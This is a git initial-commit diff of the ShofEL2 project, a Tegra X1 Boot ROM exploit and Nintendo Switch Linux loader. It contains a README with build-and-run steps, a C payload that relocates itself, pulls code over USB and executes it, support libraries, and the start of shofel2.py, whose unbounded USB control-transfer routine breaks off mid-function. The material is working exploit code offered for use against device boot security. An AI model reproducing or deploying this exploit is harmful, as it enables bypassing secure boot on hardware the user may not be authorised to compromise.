Initial commit
This commit is contained in:
commit
ace813d3da
|
@ -0,0 +1,27 @@
|
|||
// Copyright (c) 2018 Team fail0verflow. All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions are
|
||||
// met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// * Redistributions in binary form must reproduce the above
|
||||
// copyright notice, this list of conditions and the following disclaimer
|
||||
// in the documentation and/or other materials provided with the
|
||||
// distribution.
|
||||
// * Neither the name of fail0verflow nor the names of its
|
||||
// contributors may be used to endorse or promote products derived from
|
||||
// this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,72 @@
|
|||
# ShofEL2
|
||||
|
||||
A misleadingly-named Tegra X1 Boot ROM exploit and Nintendo Switch Linux loader.
|
||||
|
||||
## Obligatory disclaimer
|
||||
|
||||
If your Switch catches fire or turns into an Ouya, it's not our fault. It's
|
||||
stupidly easy to blow up embedded platforms like this with bad software (e.g.
|
||||
all voltages are software-controlled). We already caused temporary damage to one
|
||||
LCD panel with bad power sequencing code. Seriously, do not complain if
|
||||
something goes wrong.
|
||||
|
||||
On the other hand, this exploit probably works on the Ouya...
|
||||
|
||||
## Usage
|
||||
|
||||
You need arm-linux-gnueabi and aarch64-linux-gnu toolchains.
|
||||
|
||||
Clone everything:
|
||||
|
||||
$ git clone https://github.com/fail0verflow/shofel2.git
|
||||
$ git clone --recursive https://github.com/fail0verflow/switch-coreboot.git coreboot
|
||||
$ git clone https://github.com/fail0verflow/switch-u-boot.git u-boot
|
||||
$ git clone https://github.com/fail0verflow/switch-linux.git linux
|
||||
$ git clone https://github.com/boundarydevices/imx_usb_loader.git
|
||||
|
||||
Build the cbfs loader:
|
||||
|
||||
$ cd shofel2/exploit
|
||||
$ make
|
||||
|
||||
Build u-boot:
|
||||
|
||||
$ cd u-boot
|
||||
$ export CROSS_COMPILE=aarch64-linux-gnu-
|
||||
$ make nintendo-switch_defconfig
|
||||
$ make
|
||||
|
||||
Build coreboot:
|
||||
|
||||
$ cd coreboot
|
||||
$ make nintendo_switch_defconfig
|
||||
$ make iasl
|
||||
$ make
|
||||
|
||||
Build imx_usb_loader:
|
||||
|
||||
$ cd imx_usb_loader
|
||||
$ make
|
||||
|
||||
Build Linux:
|
||||
|
||||
$ cd linux
|
||||
$ export ARCH=arm64
|
||||
$ export CROSS_COMPILE=aarch64-linux-gnu-
|
||||
$ make nintendo-switch_defconfig
|
||||
$ make
|
||||
|
||||
Run the exploit
|
||||
|
||||
$ cd shofel2/exploit
|
||||
$ ./shofel2.py cbfs.bin ../../coreboot/build/coreboot.rom
|
||||
|
||||
Build the u-boot script and run it
|
||||
|
||||
$ cd shofel2/usb_loader
|
||||
$ ../../u-boot/tools/mkimage -A arm64 -T script -C none -n "boot.scr" -d switch.scr switch.scr.img
|
||||
$ ../../imx_usb_loader/imx_usb -c .
|
||||
|
||||
If all went well, you should have some penguins. You should probably put a root
|
||||
filesystem on your SD card. Arch Linux ARM provides ready-made rootfs tarballs
|
||||
that you should totally use. Userspace libraries and other patches coming soon.
|
|
@ -0,0 +1,7 @@
|
|||
*.bin
|
||||
*.elf
|
||||
obj/*
|
||||
!obj/.keep
|
||||
*.d
|
||||
*.idb
|
||||
.*.swp
|
|
@ -0,0 +1,27 @@
|
|||
// Copyright (c) 2010 The Chromium OS Authors. All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions are
|
||||
// met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// * Redistributions in binary form must reproduce the above
|
||||
// copyright notice, this list of conditions and the following disclaimer
|
||||
// in the documentation and/or other materials provided with the
|
||||
// distribution.
|
||||
// * Neither the name of Google Inc. nor the names of its
|
||||
// contributors may be used to endorse or promote products derived from
|
||||
// this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,36 @@
|
|||
TOOLCHAIN ?= arm-linux-gnueabi-
|
||||
CC = $(TOOLCHAIN)gcc
|
||||
AS = $(TOOLCHAIN)as
|
||||
OBJCOPY = $(TOOLCHAIN)objcopy
|
||||
|
||||
CFLAGS := -march=armv4t -mthumb -Wall -Werror -Os -MMD -ffreestanding \
|
||||
-fno-common -fomit-frame-pointer -nostdlib -fno-builtin-printf \
|
||||
-fno-asynchronous-unwind-tables -fPIE -fno-builtin -fno-exceptions \
|
||||
-Wl,--no-dynamic-linker,--build-id=none,-T,romhax.ld
|
||||
CXXFLAGS := $(CFLAGS) -std=gnu++14
|
||||
CFLAGS += -std=gnu11
|
||||
|
||||
# shameless copypasta from https://stackoverflow.com/a/2908351/375416
|
||||
C_FILES := $(wildcard *.c)
|
||||
S_FILES := $(wildcard *.S)
|
||||
OBJ_FILES := $(addprefix obj/,$(notdir $(C_FILES:.c=.o)))
|
||||
OBJ_FILES += $(addprefix obj/,$(notdir $(S_FILES:.S=.o)))
|
||||
-include $(OBJFILES:.o=.d)
|
||||
|
||||
all: cbfs.bin
|
||||
|
||||
obj/%.o: %.c
|
||||
$(CC) $(CFLAGS) -c -o $@ $<
|
||||
|
||||
obj/%.o: %.S
|
||||
$(AS) -c -o $@ $<
|
||||
|
||||
%.bin: %.elf
|
||||
$(OBJCOPY) -O binary $< $@
|
||||
|
||||
cbfs.elf: obj/cbfs.o obj/common.o obj/vsprintf.o obj/idiv.o obj/idivmod.o obj/thumb_case.o
|
||||
$(CC) $(CFLAGS) -o $@ $^
|
||||
|
||||
clean:
|
||||
rm -f $(OBJ_FILES)
|
||||
rm -f cbfs.bin cbfs.elf
|
|
@ -0,0 +1,147 @@
|
|||
#include "common.h"
|
||||
#include "vsprintf.h"
|
||||
|
||||
extern u32 __romhax_start;
|
||||
extern u32 __bss_start;
|
||||
extern u32 __bss_end;
|
||||
extern u32 __got_start;
|
||||
extern u32 __got_end;
|
||||
extern u32 __romhax_end;
|
||||
|
||||
typedef void (*ep_t)(void);
|
||||
|
||||
typedef struct {
|
||||
char is_usb3;
|
||||
char init_hw_done;
|
||||
char init_proto_done;
|
||||
char unk0;
|
||||
|
||||
int (*init_hw)(void);
|
||||
int (*init_proto)(void);
|
||||
|
||||
void *ep1_out;
|
||||
void *ep1_out_get_len_proc_ep0;
|
||||
void (*ep1_out_imm)(void *buffer, u32 size, u32 *num_xfer);
|
||||
|
||||
void *ep1_in;
|
||||
void *ep1_in_get_len_proc_ep0;
|
||||
int (*ep1_in_imm)(void *buffer, u32 size, u32 *num_xfer);
|
||||
|
||||
void *ep0_stall;
|
||||
} rcm_transport_t;
|
||||
|
||||
static const rcm_transport_t *rcm_transport = (rcm_transport_t *)0x40003114;
|
||||
|
||||
static u32 rom_recvbuf(void *buffer, u32 size) {
|
||||
u32 num_xfer;
|
||||
rcm_transport->ep1_out_imm(buffer, size, &num_xfer);
|
||||
return num_xfer;
|
||||
}
|
||||
|
||||
static u32 rom_sendbuf(void *buffer, u32 size) {
|
||||
u32 num_xfer;
|
||||
rcm_transport->ep1_in_imm(buffer, size, &num_xfer);
|
||||
return num_xfer;
|
||||
}
|
||||
|
||||
static u32 recv_to(void *addr, u32 size)
|
||||
{
|
||||
const u32 chunk_max = 1024;
|
||||
u32 left = size, chunk;
|
||||
|
||||
while (left > 0) {
|
||||
chunk = left;
|
||||
if (chunk > chunk_max)
|
||||
chunk = chunk_max;
|
||||
|
||||
chunk = rom_recvbuf(addr, chunk);
|
||||
|
||||
addr += chunk;
|
||||
left -= chunk;
|
||||
}
|
||||
|
||||
return size - left;
|
||||
}
|
||||
|
||||
int printf(const char* fmt, ...) {
|
||||
char buffer[512];
|
||||
va_list args;
|
||||
int i;
|
||||
va_start(args, fmt);
|
||||
i = vsprintf(buffer, fmt, args);
|
||||
va_end(args);
|
||||
return rom_sendbuf(buffer, i);
|
||||
}
|
||||
|
||||
#define PMC_BASE 0x7000e400
|
||||
#define PMC_CNTRL 0x000
|
||||
#define PMC_CNTRL_MAIN_RST (1 << 4)
|
||||
#define PMC_SCRATCH0 0x050
|
||||
#define PMC_SCRATCH0_MODE_RCM (1 << 1)
|
||||
|
||||
static void enterrcm() {
|
||||
or32(PMC_BASE + PMC_SCRATCH0, PMC_SCRATCH0_MODE_RCM);
|
||||
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
|
||||
}
|
||||
|
||||
#define UINT32TOBUF(b, o, val) \
|
||||
do { \
|
||||
b[o + 0] = (val >> 24) & 0xff; \
|
||||
b[o + 1] = (val >> 16) & 0xff; \
|
||||
b[o + 2] = (val >> 8) & 0xff; \
|
||||
b[o + 3] = val & 0xff; \
|
||||
} while (0);
|
||||
|
||||
static void _main() {
|
||||
/* see coreboot's src/mainboard/nintendo/switch/memlayout.ld */
|
||||
const u32 len = 28 * 1024;
|
||||
const u32 addr = 0x40010000;
|
||||
char buffer[8];
|
||||
ep_t ep;
|
||||
|
||||
printf("CBFS\n");
|
||||
|
||||
UINT32TOBUF(buffer, 0, 0)
|
||||
UINT32TOBUF(buffer, 4, len)
|
||||
rom_sendbuf(buffer, 8);
|
||||
recv_to((void *)addr, len);
|
||||
|
||||
ep = (ep_t)addr;
|
||||
ep();
|
||||
|
||||
enterrcm();
|
||||
}
|
||||
|
||||
__attribute__((section(".init")))
|
||||
void relocator_stub() {
|
||||
/* Warning: at this point, the GOT is not relocated yet. This means all
|
||||
* the linker script defined symbols (__romhax_start, etc.) are
|
||||
* relative to the current module base. Since this function is
|
||||
* guaranteed to be the first thing emitted, we use its address as the
|
||||
* module base. */
|
||||
|
||||
/* Relocate to end of IRAM. */
|
||||
u32 IRAM_END = 0x40040000;
|
||||
u32 romhax_size = (((u32)&__romhax_end - (u32)&__romhax_start) + 3) & ~0x3;
|
||||
|
||||
u8* new_base = (u8*)(IRAM_END - romhax_size);
|
||||
u8* curr_base = (u8*)relocator_stub - 1; /* Thumb adjustment. */
|
||||
|
||||
ep_t ep;
|
||||
|
||||
memcpy(new_base, curr_base, romhax_size);
|
||||
|
||||
/* Clear BSS. */
|
||||
u8* bss_start = new_base + (u32)&__bss_start;
|
||||
u8* bss_end = new_base + (u32)&__bss_end;
|
||||
while (bss_start < bss_end) *bss_start++ = 0;
|
||||
|
||||
/* Relocate the GOT. */
|
||||
u32* got_start = (u32*)(new_base + (u32)&__got_start);
|
||||
u32* got_end = (u32*)(new_base + (u32)&__got_end);
|
||||
while (got_start < got_end) *got_start++ += (u32)new_base;
|
||||
|
||||
/* Jump to entry point ("_main") at relocated payload. */
|
||||
ep = (ep_t)(new_base + ((u32)_main - (u32)curr_base));
|
||||
ep();
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
#include "common.h"
|
||||
|
||||
void *memset(void *b, int c, size_t len) {
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
((u8 *)b)[i] = c;
|
||||
}
|
||||
return b;
|
||||
}
|
||||
|
||||
void *memcpy(void *dst, const void *src, size_t len) {
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
((u8 *)dst)[i] = ((u8 *)src)[i];
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
size_t strlen(const char *str) {
|
||||
const char *p = str;
|
||||
while (*p != '\0') {
|
||||
p++;
|
||||
}
|
||||
return p - str;
|
||||
}
|
|
@ -0,0 +1,104 @@
|
|||
#pragma once
|
||||
|
||||
typedef signed char s8;
|
||||
typedef signed short s16;
|
||||
typedef signed int s32;
|
||||
typedef signed long long s64;
|
||||
typedef unsigned char u8;
|
||||
typedef unsigned short u16;
|
||||
typedef unsigned int u32;
|
||||
typedef unsigned long long u64;
|
||||
typedef volatile u8 vu8;
|
||||
typedef volatile u16 vu16;
|
||||
typedef volatile u32 vu32;
|
||||
typedef volatile u64 vu64;
|
||||
typedef u32 size_t;
|
||||
typedef u32 uintptr_t;
|
||||
|
||||
#define NULL ((void*)0)
|
||||
|
||||
#define CAT_(x, y) x ## y
|
||||
#define CAT(x, y) CAT_(x, y)
|
||||
|
||||
#define OPAD(size) u8 CAT(_pad_, __COUNTER__)[size]
|
||||
#define OSTRUCT(name, size) struct name { union { OPAD(size);
|
||||
#define OSTRUCT_END };};
|
||||
#define OFIELD(off, field) struct { OPAD(off); field; }
|
||||
|
||||
#define ARRAY_SIZE(a) (sizeof(a) / sizeof(*a))
|
||||
|
||||
#define MIN(x,y) (((x) > (y)) ? (y) : (x))
|
||||
|
||||
#define DC_BASE 0x54200000
|
||||
#define DSI_BASE 0x54300000
|
||||
#define CLK_RST_BASE 0x60006000
|
||||
#define MIPI_CAL_BASE 0x700E3000
|
||||
#define SDHC_REG_BASE 0x700B0600
|
||||
|
||||
#define DC_CMD_STATE_ACCESS 0x54200100
|
||||
#define DC_CMD_STATE_CONTROL 0x54200104
|
||||
#define DC_DISP_BLEND_BACKGROUND_COLOR 0x54201390
|
||||
#define DC_A_WIN_AD_WIN_OPTIONS 0x54202E00
|
||||
#define DC_B_WIN_BD_WIN_OPTIONS 0x54203600
|
||||
#define DC_C_WIN_CD_WIN_OPTIONS 0x54203E00
|
||||
|
||||
#define DSI_DSI_RD_DATA 0x54300024
|
||||
#define DSI_DSI_WR_DATA 0x54300028
|
||||
#define DSI_DSI_POWER_CONTROL 0x5430002C
|
||||
#define DSI_HOST_DSI_CONTROL 0x5430003C
|
||||
#define DSI_DSI_TRIGGER 0x5430004C
|
||||
#define DSI_DSI_BTA_TIMING 0x543000FC
|
||||
#define DSI_PAD_CONTROL 0x5430012C
|
||||
#define DSI_DSI_VID_MODE_CONTROL 0x54300138
|
||||
|
||||
#define TIMERUS_CNTR_1US 0x60005010
|
||||
|
||||
#define GPIO_V_CNF 0x6000D504
|
||||
#define GPIO_V_OE 0x6000D514
|
||||
#define GPIO_V_OUT 0x6000D524
|
||||
|
||||
static inline u32 read32(uintptr_t addr) {
|
||||
return *(vu32 *)addr;
|
||||
}
|
||||
|
||||
static inline void write32(uintptr_t addr, u32 val) {
|
||||
*(vu32 *)addr = val;
|
||||
}
|
||||
|
||||
static inline void or32(uintptr_t addr, u32 val) {
|
||||
write32(addr, read32(addr) | val);
|
||||
}
|
||||
|
||||
static inline void or32_masked(uintptr_t addr, u32 mask, u32 val) {
|
||||
write32(addr, (read32(addr) & ~mask) | val);
|
||||
}
|
||||
#define mask32 or32_masked
|
||||
|
||||
static inline void unset_bits(uintptr_t addr, u32 val) {
|
||||
write32(addr, read32(addr) & ~val);
|
||||
}
|
||||
|
||||
static inline u32 get_ticks() {
|
||||
return read32(TIMERUS_CNTR_1US);
|
||||
}
|
||||
|
||||
static inline void udelay(u32 usecs) {
|
||||
u32 start, now;
|
||||
start = now = get_ticks();
|
||||
while (now - start <= usecs) {
|
||||
now = get_ticks();
|
||||
}
|
||||
}
|
||||
|
||||
void *memset(void *b, int c, size_t len);
|
||||
void *memcpy(void *dst, const void *src, size_t len);
|
||||
size_t strlen(const char *str);
|
||||
|
||||
#define INT_MAX ((int)0x7fffffff)
|
||||
#define UINT_MAX ((unsigned int)0xffffffff)
|
||||
|
||||
#define LONG_MAX INT_MAX
|
||||
#define ULONG_MAX UINT_MAX
|
||||
|
||||
#define LLONG_MAX ((long long)0x7fffffffffffffff)
|
||||
#define ULLONG_MAX ((unsigned long long)0xffffffffffffffff)
|
|
@ -0,0 +1,66 @@
|
|||
/* Runtime ABI for the ARM Cortex-M0
|
||||
* idiv.S: signed 32 bit division (only quotient)
|
||||
*
|
||||
* Copyright (c) 2012-2017 Jörg Mische <bobbl@gmx.de>
|
||||
*
|
||||
* Permission to use, copy, modify, and/or distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
|
||||
* OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
.syntax unified
|
||||
.text
|
||||
.thumb
|
||||
.cpu cortex-m0
|
||||
|
||||
|
||||
|
||||
@ int __divsi3(int num, int denom)
|
||||
@
|
||||
@ libgcc wrapper: just an alias for __aeabi_idivmod(), the remainder is ignored
|
||||
@
|
||||
.thumb_func
|
||||
.global __divsi3
|
||||
__divsi3:
|
||||
|
||||
|
||||
|
||||
@ int __aeabi_idiv(int num:r0, int denom:r1)
|
||||
@
|
||||
@ Divide r0 by r1 and return quotient in r0 (all signed).
|
||||
@ Use __aeabi_uidivmod() but check signs before and change signs afterwards.
|
||||
@
|
||||
.thumb_func
|
||||
.global __aeabi_idiv
|
||||
__aeabi_idiv:
|
||||
|
||||
cmp r0, #0
|
||||
bge .Lnumerator_pos
|
||||
rsbs r0, r0, #0 @ num = -num
|
||||
cmp r1, #0
|
||||
bge .Lneg_result
|
||||
rsbs r1, r1, #0 @ den = -den
|
||||
|
||||
.Luidivmod:
|
||||
b __aeabi_uidivmod
|
||||
|
||||
.Lnumerator_pos:
|
||||
cmp r1, #0
|
||||
bge .Luidivmod
|
||||
rsbs r1, r1, #0 @ den = -den
|
||||
|
||||
.Lneg_result:
|
||||
push {lr}
|
||||
bl __aeabi_uidivmod
|
||||
rsbs r0, r0, #0 @ quot = -quot
|
||||
pop {pc}
|
|
@ -0,0 +1,155 @@
|
|||
/* Runtime ABI for the ARM Cortex-M0
|
||||
* idivmod.S: signed 32 bit division (quotient and remainder)
|
||||
*
|
||||
* Copyright (c) 2012 Jörg Mische <bobbl@gmx.de>
|
||||
*
|
||||
* Permission to use, copy, modify, and/or distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
|
||||
* OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
.syntax unified
|
||||
.text
|
||||
.thumb
|
||||
.cpu cortex-m0
|
||||
|
||||
|
||||
|
||||
@ {int quotient:r0, int remainder:r1}
|
||||
@ __aeabi_idivmod(int numerator:r0, int denominator:r1)
|
||||
@
|
||||
@ Divide r0 by r1 and return the quotient in r0 and the remainder in r1
|
||||
@
|
||||
.thumb_func
|
||||
.global __aeabi_idivmod
|
||||
__aeabi_idivmod:
|
||||
|
||||
cmp r0, #0
|
||||
bge .Lnumerator_pos
|
||||
rsbs r0, r0, #0 @ num = -num
|
||||
cmp r1, #0
|
||||
bge .Lboth_neg
|
||||
|
||||
rsbs r1, r1, #0 @ den = -den
|
||||
push {lr}
|
||||
bl __aeabi_uidivmod
|
||||
rsbs r1, r1, #0 @ rem = -rem
|
||||
pop {pc}
|
||||
|
||||
.Lboth_neg:
|
||||
push {lr}
|
||||
bl __aeabi_uidivmod
|
||||
rsbs r0, r0, #0 @ quot = -quot
|
||||
rsbs r1, r1, #0 @ rem = -rem
|
||||
pop {pc}
|
||||
|
||||
.Lnumerator_pos:
|
||||
cmp r1, #0
|
||||
bge .Luidivmod
|
||||
|
||||
rsbs r1, r1, #0 @ den = -den
|
||||
push {lr}
|
||||
bl __aeabi_uidivmod
|
||||
rsbs r0, r0, #0 @ quot = -quot
|
||||
pop {pc}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@ unsigned __udivsi3(unsigned num, unsigned denom)
|
||||
@
|
||||
@ libgcc wrapper: just an alias for __aeabi_uidivmod(), the remainder is ignored
|
||||
@
|
||||
.thumb_func
|
||||
.global __udivsi3
|
||||
__udivsi3:
|
||||
|
||||
|
||||
|
||||
@ unsigned __aeabi_uidiv(unsigned num, unsigned denom)
|
||||
@
|
||||
@ Just an alias for __aeabi_uidivmod(), the remainder is ignored
|
||||
@
|
||||
.thumb_func
|
||||
.global __aeabi_uidiv
|
||||
__aeabi_uidiv:
|
||||
|
||||
|
||||
|
||||
@ {unsigned quotient:r0, unsigned remainder:r1}
|
||||
@ __aeabi_uidivmod(unsigned numerator:r0, unsigned denominator:r1)
|
||||
@
|
||||
@ Divide r0 by r1 and return the quotient in r0 and the remainder in r1
|
||||
@
|
||||
.thumb_func
|
||||
.global __aeabi_uidivmod
|
||||
__aeabi_uidivmod:
|
||||
|
||||
|
||||
|
||||
.Luidivmod:
|
||||
cmp r1, #0
|
||||
bne 1f
|
||||
b __aeabi_idiv0
|
||||
1:
|
||||
|
||||
@ Shift left the denominator until it is greater than the numerator
|
||||
movs r2, #1 @ counter
|
||||
movs r3, #0 @ result
|
||||
cmp r0, r1
|
||||
bls .Lsub_loop
|
||||
adds r1, #0 @ dont shift if denominator would overflow
|
||||
bmi .Lsub_loop
|
||||
|
||||
.Ldenom_shift_loop:
|
||||
lsls r2, #1
|
||||
lsls r1, #1
|
||||
bmi .Lsub_loop
|
||||
cmp r0, r1
|
||||
bhi .Ldenom_shift_loop
|
||||
|
||||
.Lsub_loop:
|
||||
cmp r0, r1
|
||||
bcc .Ldont_sub @ if (num>denom)
|
||||
|
||||
subs r0, r1 @ numerator -= denom
|
||||
orrs r3, r2 @ result(r3) |= bitmask(r2)
|
||||
.Ldont_sub:
|
||||
|
||||
lsrs r1, #1 @ denom(r1) >>= 1
|
||||
lsrs r2, #1 @ bitmask(r2) >>= 1
|
||||
bne .Lsub_loop
|
||||
|
||||
mov r1, r0 @ remainder(r1) = numerator(r0)
|
||||
mov r0, r3 @ quotient(r0) = result(r3)
|
||||
bx lr
|
||||
|
||||
@ int __aeabi_idiv0(int r)
|
||||
@
|
||||
@ Handler for 32 bit division by zero
|
||||
@
|
||||
.thumb_func
|
||||
.global __aeabi_idiv0
|
||||
__aeabi_idiv0:
|
||||
|
||||
|
||||
|
||||
@ long long __aeabi_ldiv0(long long r)
|
||||
@
|
||||
@ Handler for 64 bit division by zero
|
||||
@
|
||||
.thumb_func
|
||||
.global __aeabi_ldiv0
|
||||
__aeabi_ldiv0:
|
||||
bx lr
|
|
@ -0,0 +1,18 @@
|
|||
SECTIONS {
|
||||
/* We don't do GOT relocation and rely on nothing ending up using the GOT
|
||||
* (-fno-common helps here) */
|
||||
/DISCARD/ : { *(.comment) }
|
||||
__romhax_start = .;
|
||||
.init : { *(.init) *(.init.*) }
|
||||
.text : { *(.text) *(.text.*) }
|
||||
.data : { *(.data) *(.data.*) }
|
||||
.rodata : { *(.rodata) *(.rodata.*) *(.got) }
|
||||
__got_start = .;
|
||||
.got : { *(.got) }
|
||||
__got_end = .;
|
||||
__bss_start = .;
|
||||
.bss : { *(.bss) *(.bss.*) *(COMMON)}
|
||||
__bss_end = .;
|
||||
__romhax_end = .;
|
||||
.footer : { LONG(0xdeadbeef) } /* make sure .bss is padded out */
|
||||
}
|
|
@ -0,0 +1,247 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
# shofEL2 nintendo switch (and related) cold boot exploit
|
||||
#------------------------------------------------------------------------------
|
||||
# Switch will enter RCM if (PMC_SCRATCH0 & 2) is set, or if coldboot path
|
||||
# fails to find something to boot. So just disconnect/corrupt emmc during
|
||||
# early boot.
|
||||
import usb.core
|
||||
import usb.util
|
||||
import errno
|
||||
import time
|
||||
import binascii
|
||||
import struct
|
||||
import sys
|
||||
import os
|
||||
import hashlib
|
||||
import ctypes
|
||||
import fcntl
|
||||
|
||||
USBDEVFS_URB_TYPE_CONTROL = 2
|
||||
USBDEVFS_SUBMITURB = 0x8038550a
|
||||
USBDEVFS_REAPURB = 0x4008550c
|
||||
USBDEVFS_DISCARDURB = 0x0000550b
|
||||
|
||||
def parse32(buf, offset):
|
||||
return struct.unpack('<L', buf[offset:offset+4])[0]
|
||||
|
||||
def wait_for_device(dev_id):
|
||||
dev = usb.core.find(idVendor=dev_id[0], idProduct=dev_id[1])
|
||||
while dev is None:
|
||||
time.sleep(0.1)
|
||||
dev = usb.core.find(idVendor=dev_id[0], idProduct=dev_id[1])
|
||||
return dev
|
||||
|
||||
# lol
|
||||
def get_fds():
|
||||
return set(int(i) for i in os.listdir("/proc/self/fd"))
|
||||
|
||||
class RCM:
|
||||
DEV_ID_JETSON = (0x0955, 0x7721)
|
||||
DEV_ID_SWITCH = (0x0955, 0x7321)
|
||||
EP1_OUT = usb.util.ENDPOINT_OUT | 1
|
||||
EP1_IN = usb.util.ENDPOINT_IN | 1
|
||||
bl31_addr = 0x80000000
|
||||
uboot_addr = 0x80110000
|
||||
kernel_addr = 0x85000000
|
||||
fdt_addr = 0x8f000000
|
||||
ramdisk_addr = 0x90000000
|
||||
def __init__(s):
|
||||
fds_before = get_fds()
|
||||
s.dev = wait_for_device(s.DEV_ID_SWITCH)
|
||||
fds = get_fds() - fds_before
|
||||
s.fd = sorted(list(fds))[-1]
|
||||
print("File descriptor: %d" % s.fd)
|
||||
def ep1_read(s, size): return s.dev.read(s.EP1_IN, size)
|
||||
def ep1_write(s, data): return s.dev.write(s.EP1_OUT, data)
|
||||
def read_init_msg(s):
|
||||
# rcm_send_chip_id_and_version
|
||||
try:
|
||||
return s.ep1_read(0x10)
|
||||
except:
|
||||
return b''
|
||||
def ep0_read(s, size):
|
||||
return s.dev.ctrl_transfer(0x82, 0, 0, 0, size)
|
||||
def ep0_read_unbounded(s, size):
|
||||
print("Size: 0x%x\n" % size)
|
||||
buf = ctypes.create_string_buffer(struct.pack("@BBHHH%dx" % size, 0x82, 0, 0, 0, size))
|
||||
print(binascii.hexlify(buf[:8]))
|
||||
urb = ctypes.create_string_buffer(struct.pack("@BBiIPiiiiiIP1024x",
|
||||
USBDEVFS_URB_TYPE_CONTROL, 0, # type, ep
|
||||
0, 0, # status, flags
|
||||
ctypes.addressof(buf), len(buf), 0, # buf, len, actual
|
||||
0, 0, 0, 0, 0xf0f))
|
||||
print(binascii.hexlify(urb[:-1024]))
|
||||
print("URB address: 0x%x" % ctypes.addressof(urb))
|
||||
fcntl.ioctl(s.fd, USBDEVFS_SUBMITURB, urb)
|
||||
time.sleep(0.1)
|
||||
fcntl.ioctl(s.fd, USBDEVFS_DISCARDURB, urb)
|
||||
purb = ctypes.c_void_p()
|
||||
fcntl.ioctl(s.fd, USBDEVFS_REAPURB, purb)
|
||||
if purb.value != ctypes.addressof(urb):
|
||||
